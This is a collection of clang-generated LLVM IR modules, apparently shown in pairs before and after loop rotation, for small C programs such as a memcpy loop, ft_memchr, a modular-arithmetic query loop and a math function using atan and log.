; ModuleID = '<stdin>' source_filename = "/tmp/tmptnjqk1gn.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [82 x i8] c"0423 lpfc_peer_port_login attribute cannot be set to %d, allowed range is [0, 1]\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @test_pr79210() #0 { %1 = alloca i32, align 4 %2 = call i32 @__emit_string_literal_range(ptr noundef @.str, i32 noundef 54, i32 noundef 53, i32 noundef 54) ret void } declare i32 @__emit_string_literal_range(ptr noundef, i32 noundef, i32 noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmppot43kby.c' source_filename = "/tmp/tmppot43kby.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmppot43kby.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpbkuc_6d9.c' source_filename = "/tmp/tmpbkuc_6d9.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @memcpy(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i32 %2, ptr %6, align 4 %9 = load ptr, ptr %4, align 8 store ptr %9, ptr %7, align 8 %10 = load ptr, ptr %5, align 8 store ptr %10, ptr %8, align 8 br label %11 11: ; preds = %15, %3 %12 = load i32, ptr %6, align 4 %13 = add nsw i32 %12, -1 store i32 %13, ptr %6, align 4 %14 = icmp ne i32 %12, 0 br i1 %14, label %15, label %23 15: ; preds = %11 %16 = load ptr, ptr %8, align 8 %17 = load i8, ptr %16, align 1 %18 = load ptr, ptr %7, align 8 store i8 %17, ptr %18, align 1 %19 = load ptr, ptr %7, align 8 %20 = getelementptr inbounds i8, ptr %19, i32 1 store ptr %20, ptr %7, align 8 %21 = load ptr, ptr %8, align 8 %22 = getelementptr inbounds i8, ptr %21, i32 1 store ptr %22, ptr %8, align 8 br label %11, !llvm.loop !6 23: ; preds = %11 %24 = load ptr, ptr %4, align 8 ret ptr %24 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpbkuc_6d9.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @memcpy(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca ptr, align 8 %8 = alloca ptr, align 8 store ptr %0, ptr %4, align 8 store ptr %1, ptr %5, align 8 store i32 %2, ptr %6, align 4 %9 = load ptr, ptr %4, align 8 store ptr %9, ptr %7, align 8 %10 = load ptr, ptr %5, align 8 store ptr %10, ptr %8, align 8 %11 = load i32, ptr %6, align 4 %12 = add nsw i32 %11, -1 store i32 %12, ptr %6, align 4 %13 = icmp ne i32 %11, 0 br i1 %13, label %.lr.ph, label %25 .lr.ph: ; preds = %3 br label %14 14: ; preds = %.lr.ph, %14 %15 = load ptr, ptr %8, align 8 %16 = load i8, ptr %15, align 1 %17 = load ptr, ptr %7, align 8 store i8 %16, ptr %17, align 1 %18 = load ptr, ptr %7, align 8 %19 = getelementptr inbounds i8, ptr %18, i32 1 store ptr %19, ptr %7, align 8 %20 = load ptr, ptr %8, align 8 %21 = getelementptr inbounds i8, ptr %20, i32 1 store ptr %21, ptr %8, align 8 %22 = load i32, ptr %6, align 4 %23 = add nsw i32 %22, -1 store i32 %23, ptr %6, align 4 %24 = icmp ne i32 %22, 0 br i1 %24, label %14, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %14 br label %25 25: ; preds = %._crit_edge, %3 %26 = load ptr, ptr %4, align 8 ret ptr %26 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpk7dcbg24.c' source_filename = "/tmp/tmpk7dcbg24.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @ft_memchr(ptr noundef %0, i32 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i64, align 8 %8 = alloca ptr, align 8 %9 = alloca i64, align 8 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i64 %2, ptr %7, align 8 %10 = load ptr, ptr %5, align 8 store ptr %10, ptr %8, align 8 %11 = load i64, ptr %7, align 8 %12 = icmp ne i64 %11, 0 br i1 %12, label %13, label %39 13: ; preds = %3 %14 = load ptr, ptr %5, align 8 %15 = icmp ne ptr %14, null br i1 %15, label %16, label %39 16: ; preds = %13 store i64 0, ptr %9, align 8 br label %17 17: ; preds = %35, %16 %18 = load i64, ptr %9, align 8 %19 = load i64, ptr %7, align 8 %20 = icmp ult i64 %18, %19 br i1 %20, label %21, label %38 21: ; preds = %17 %22 = load ptr, ptr %8, align 8 %23 = load i64, ptr %9, align 8 %24 = getelementptr inbounds i8, ptr %22, i64 %23 %25 = load i8, ptr %24, align 1 %26 = zext i8 %25 to i32 %27 = load i32, ptr %6, align 4 %28 = trunc i32 %27 to i8 %29 = zext i8 %28 to i32 %30 = icmp eq i32 %26, %29 br i1 %30, label %31, label %35 31: ; preds = %21 %32 = load ptr, ptr %8, align 8 %33 = load i64, ptr %9, align 8 %34 = getelementptr inbounds i8, ptr %32, i64 %33 store ptr %34, ptr %4, align 8 br label %40 35: ; preds = %21 %36 = load i64, ptr %9, align 8 %37 = add i64 %36, 1 store i64 %37, ptr %9, align 8 br label %17, !llvm.loop !6 38: ; preds = %17 br label %39 39: ; preds = %38, %13, %3 store ptr null, ptr %4, align 8 br label %40 40: ; preds = %39, %31 %41 = load ptr, ptr %4, align 8 ret ptr %41 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpk7dcbg24.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local ptr @ft_memchr(ptr noundef %0, i32 noundef %1, i64 noundef %2) #0 { %4 = alloca ptr, align 8 %5 = alloca ptr, align 8 %6 = alloca i32, align 4 %7 = alloca i64, align 8 %8 = alloca ptr, align 8 %9 = alloca i64, align 8 store ptr %0, ptr %5, align 8 store i32 %1, ptr %6, align 4 store i64 %2, ptr %7, align 8 %10 = load ptr, ptr %5, align 8 store ptr %10, ptr %8, align 8 %11 = load i64, ptr %7, align 8 %12 = icmp ne i64 %11, 0 br i1 %12, label %13, label %41 13: ; preds = %3 %14 = load ptr, ptr %5, align 8 %15 = icmp ne ptr %14, null br i1 %15, label %16, label %41 16: ; preds = %13 store i64 0, ptr %9, align 8 %17 = load i64, ptr %9, align 8 %18 = load i64, ptr %7, align 8 %19 = icmp ult i64 %17, %18 br i1 %19, label %.lr.ph, label %40 .lr.ph: ; preds = %16 br label %20 20: ; preds = %.lr.ph, %34 %21 = load ptr, ptr %8, align 8 %22 = load i64, ptr %9, align 8 %23 = getelementptr inbounds i8, ptr %21, i64 %22 %24 = load i8, ptr %23, align 1 %25 = zext i8 %24 to i32 %26 = load i32, ptr %6, align 4 %27 = trunc i32 %26 to i8 %28 = zext i8 %27 to i32 %29 = icmp eq i32 %25, %28 br i1 %29, label %30, label %34 30: ; preds = %20 %31 = load ptr, ptr %8, align 8 %32 = load i64, ptr %9, align 8 %33 = getelementptr inbounds i8, ptr %31, i64 %32 store ptr %33, ptr %4, align 8 br label %42 34: ; preds = %20 %35 = load i64, ptr %9, align 8 %36 = add i64 %35, 1 store i64 %36, ptr %9, align 8 %37 = load i64, ptr %9, align 8 %38 = load i64, ptr %7, align 8 %39 = icmp ult i64 %37, %38 br i1 %39, label %20, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %34 br label %40 40: ; preds = %._crit_edge, %16 br label %41 41: ; preds = %40, %13, %3 store ptr null, ptr %4, align 8 br label %42 42: ; preds = %41, %30 %43 = load ptr, ptr %4, align 8 ret ptr %43 } attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpkuw6wefc.c' source_filename = "/tmp/tmpkuw6wefc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [5 x i8] c"%lld\00", align 1 @.str.1 = private unnamed_addr constant [15 x i8] c"%lld %lld %lld\00", align 1 @.str.2 = private unnamed_addr constant [6 x i8] c"%lld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i64, align 8 %3 = alloca i64, align 8 %4 = alloca i64, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store i32 0, ptr %1, align 4 %9 = call i32 (ptr, ptr, ...) @scanf(ptr noundef @.str, ptr noundef %5) br label %10 10: ; preds = %52, %0 %11 = load i64, ptr %5, align 8 %12 = add nsw i64 %11, -1 store i64 %12, ptr %5, align 8 %13 = icmp ne i64 %11, 0 br i1 %13, label %14, label %55 14: ; preds = %10 %15 = call i32 (ptr, ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %2, ptr noundef %3, ptr noundef %4) %16 = load i64, ptr %3, align 8 %17 = icmp sgt i64 %16, 0 br i1 %17, label %18, label %41 18: ; preds = %14 %19 = load i64, ptr %2, align 8 %20 = load i64, ptr %3, align 8 %21 = load i64, ptr %4, align 8 %22 = call i64 @fast_exp(i64 noundef %19, i64 noundef %20, i64 noundef %21) store i64 %22, ptr %7, align 8 %23 = load i64, ptr %2, align 8 %24 = load i64, ptr %3, align 8 %25 = call i64 @mul(i64 noundef %23, i64 noundef %24) store i64 %25, ptr %6, align 8 %26 = load i64, ptr %7, align 8 %27 = load i64, ptr %4, align 8 %28 = sdiv i64 %27, 2 %29 = icmp sle i64 %26, %28 br i1 %29, label %30, label %34 30: ; preds = %18 %31 = load i64, ptr %6, align 8 %32 = load i64, ptr %7, align 8 %33 = sub nsw i64 %31, %32 store i64 %33, ptr %6, align 8 br label %40 34: ; preds = %18 %35 = load i64, ptr %6, align 8 %36 = load i64, ptr %4, align 8 %37 = add nsw i64 %35, %36 %38 = load i64, ptr %7, align 8 %39 = sub nsw i64 %37, %38 store i64 %39, ptr %6, align 8 br label %40 40: ; preds = %34, %30 br label %52 41: ; preds = %14 %42 = load i64, ptr %3, align 8 %43 = icmp eq i64 %42, 0 br i1 %43, label %44, label %45 44: ; preds = %41 store i64 0, ptr %6, align 8 br label %51 45: ; preds = %41 %46 = load i64, ptr %2, align 8 %47 = icmp eq i64 %46, 1 br i1 %47, label %48, label %49 48: ; preds = %45 store i64 1, ptr %6, align 8 br label %50 49: ; preds = %45 store i64 0, ptr %6, align 8 br label %50 50: ; preds = %49, %48 br label %51 51: ; preds = %50, %44 br label %52 52: ; preds = %51, %40 %53 = load i64, ptr %6, align 8 %54 = call i32 @printf(ptr noundef @.str.2, i64 noundef %53) br label %10, !llvm.loop !6 55: ; preds = %10 ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef, ...) #1 declare i64 @fast_exp(i64 noundef, i64 noundef, i64 noundef) #1 declare i64 @mul(i64 noundef, i64 noundef) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpkuw6wefc.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [5 x i8] c"%lld\00", align 1 @.str.1 = private unnamed_addr constant [15 x i8] c"%lld %lld %lld\00", align 1 @.str.2 = private unnamed_addr constant [6 x i8] c"%lld\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i64, align 8 %3 = alloca i64, align 8 %4 = alloca i64, align 8 %5 = alloca i64, align 8 %6 = alloca i64, align 8 %7 = alloca i64, align 8 %8 = alloca i64, align 8 store i32 0, ptr %1, align 4 %9 = call i32 (ptr, ptr, ...) @scanf(ptr noundef @.str, ptr noundef %5) %10 = load i64, ptr %5, align 8 %11 = add nsw i64 %10, -1 store i64 %11, ptr %5, align 8 %12 = icmp ne i64 %10, 0 br i1 %12, label %.lr.ph, label %57 .lr.ph: ; preds = %0 br label %13 13: ; preds = %.lr.ph, %51 %14 = call i32 (ptr, ptr, ...) @scanf(ptr noundef @.str.1, ptr noundef %2, ptr noundef %3, ptr noundef %4) %15 = load i64, ptr %3, align 8 %16 = icmp sgt i64 %15, 0 br i1 %16, label %17, label %40 17: ; preds = %13 %18 = load i64, ptr %2, align 8 %19 = load i64, ptr %3, align 8 %20 = load i64, ptr %4, align 8 %21 = call i64 @fast_exp(i64 noundef %18, i64 noundef %19, i64 noundef %20) store i64 %21, ptr %7, align 8 %22 = load i64, ptr %2, align 8 %23 = load i64, ptr %3, align 8 %24 = call i64 @mul(i64 noundef %22, i64 noundef %23) store i64 %24, ptr %6, align 8 %25 = load i64, ptr %7, align 8 %26 = load i64, ptr %4, align 8 %27 = sdiv i64 %26, 2 %28 = icmp sle i64 %25, %27 br i1 %28, label %29, label %33 29: ; preds = %17 %30 = load i64, ptr %6, align 8 %31 = load i64, ptr %7, align 8 %32 = sub nsw i64 %30, %31 store i64 %32, ptr %6, align 8 br label %39 33: ; preds = %17 %34 = load i64, ptr %6, align 8 %35 = load i64, ptr %4, align 8 %36 = add nsw i64 %34, %35 %37 = load i64, ptr %7, align 8 %38 = sub nsw i64 %36, %37 store i64 %38, ptr %6, align 8 br label %39 39: ; preds = %33, %29 br label %51 40: ; preds = %13 %41 = load i64, ptr %3, align 8 %42 = icmp eq i64 %41, 0 br i1 %42, label %43, label %44 43: ; preds = %40 store i64 0, ptr %6, align 8 br label %50 44: ; preds = %40 %45 = load i64, ptr %2, align 8 %46 = icmp eq i64 %45, 1 br i1 %46, label %47, label %48 47: ; preds = %44 store i64 1, ptr %6, align 8 br label %49 48: ; preds = %44 store i64 0, ptr %6, align 8 br label %49 49: ; preds = %48, %47 br label %50 50: ; preds = %49, %43 br label %51 51: ; preds = %50, %39 %52 = load i64, ptr %6, align 8 %53 = call i32 @printf(ptr noundef @.str.2, i64 noundef %52) %54 = load i64, ptr %5, align 8 %55 = add nsw i64 %54, -1 store i64 %55, ptr %5, align 8 %56 = icmp ne i64 %54, 0 br i1 %56, label %13, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %51 br label %57 57: ; preds = %._crit_edge, %0 ret i32 0 } declare i32 @scanf(ptr noundef, ptr noundef, ...) #1 declare i64 @fast_exp(i64 noundef, i64 noundef, i64 noundef) #1 declare i64 @mul(i64 noundef, i64 noundef) #1 declare i32 @printf(ptr noundef, i64 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp69zmoprv.c' source_filename = "/tmp/tmp69zmoprv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp69zmoprv.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp3puyhabf.c' source_filename = "/tmp/tmp3puyhabf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @f1a(double noundef %0) #0 { %2 = alloca double, align 8 store double %0, ptr %2, align 8 %3 = load double, ptr %2, align 8 %4 = fmul double -4.000000e+00, %3 %5 = load double, ptr %2, align 8 %6 = fmul double %4, %5 %7 = load double, ptr %2, align 8 %8 = fmul double %6, %7 %9 = load double, ptr %2, align 8 %10 = load double, ptr %2, align 8 %11 = fmul double %9, %10 %12 = load double, ptr %2, align 8 %13 = fmul double %11, %12 %14 = load double, ptr %2, align 8 %15 = call double @llvm.fmuladd.f64(double %13, double %14, double -1.000000e+00) %16 = fdiv double %8, %15 %17 = load double, ptr %2, align 8 %18 = call double @atan(double noundef %17) #3 %19 = call double @llvm.fmuladd.f64(double -2.000000e+00, double %18, double %16) %20 = load double, ptr %2, align 8 %21 = fadd double -1.000000e+00, %20 %22 = call double @log(double noundef %21) #3 %23 = fsub double %19, %22 %24 = load double, ptr %2, align 8 %25 = fadd double 1.000000e+00, %24 %26 = call double @log(double noundef %25) #3 %27 = fadd double %23, %26 %28 = fdiv double %27, 1.600000e+01 ret double %28 } ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #1 ; Function Attrs: nounwind declare double @atan(double noundef) #2 ; Function Attrs: nounwind declare double @log(double noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp3puyhabf.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @f1a(double noundef %0) #0 { %2 = alloca double, align 8 store double %0, ptr %2, align 8 %3 = load double, ptr %2, align 8 %4 = fmul double -4.000000e+00, %3 %5 = load double, ptr %2, align 8 %6 = fmul double %4, %5 %7 = load double, ptr %2, align 8 %8 = fmul double %6, %7 %9 = load double, ptr %2, align 8 %10 = load double, ptr %2, align 8 %11 = fmul double %9, %10 %12 = load double, ptr %2, align 8 %13 = fmul double %11, %12 %14 = load double, ptr %2, align 8 %15 = call double @llvm.fmuladd.f64(double %13, double %14, double -1.000000e+00) %16 = fdiv double %8, %15 %17 = load double, ptr %2, align 8 %18 = call double @atan(double noundef %17) #3 %19 = call double @llvm.fmuladd.f64(double -2.000000e+00, double %18, double %16) %20 = load double, ptr %2, align 8 %21 = fadd double -1.000000e+00, %20 %22 = call double @log(double noundef %21) #3 %23 = fsub double %19, %22 %24 = load double, ptr %2, align 8 %25 = fadd double 1.000000e+00, %24 %26 = call double @log(double noundef %25) #3 %27 = fadd double %23, %26 %28 = fdiv double %27, 1.600000e+01 ret double %28 } ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #1 ; Function Attrs: nounwind declare double @atan(double noundef) #2 ; Function Attrs: nounwind declare double @log(double noundef) #2 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #2 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp84v3zk03.c' source_filename = "/tmp/tmp84v3zk03.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [12 x i8] c"SUM is: %f\0A\00", align 1 @.str.1 = private unnamed_addr constant [6 x i8] c"pause\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @main() #0 { %1 = alloca double, align 8 %2 = alloca double, align 8 %3 = alloca i32, align 4 store double 0.000000e+00, ptr %1, align 8 store i32 0, ptr %3, align 4 store i32 0, ptr %3, align 4 br label %4 4: ; preds = %8, %0 %5 = load i32, ptr %3, align 4 %6 = icmp sle i32 %5, 100 br i1 %6, label %7, label %11 7: ; preds = %4 br label %8 8: ; preds = %7 %9 = load i32, ptr %3, align 4 %10 = add nsw i32 %9, 1 store i32 %10, ptr %3, align 4 br label %4, !llvm.loop !6 11: ; preds = %4 %12 = load i32, ptr %3, align 4 %13 = call double @pow(i32 noundef %12, double noundef 0x3FD5555555555555) store double %13, ptr %2, align 8 %14 = load double, ptr %1, align 8 %15 = load i32, ptr %3, align 4 %16 = load i32, ptr %3, align 4 %17 = mul nsw i32 %15, %16 %18 = sitofp i32 %17 to double %19 = load double, ptr %2, align 8 %20 = call double @llvm.fmuladd.f64(double %18, double %19, double %14) store double %20, ptr %1, align 8 %21 = load double, ptr %1, align 8 %22 = call i32 @printf(ptr noundef @.str, double noundef %21) %23 = 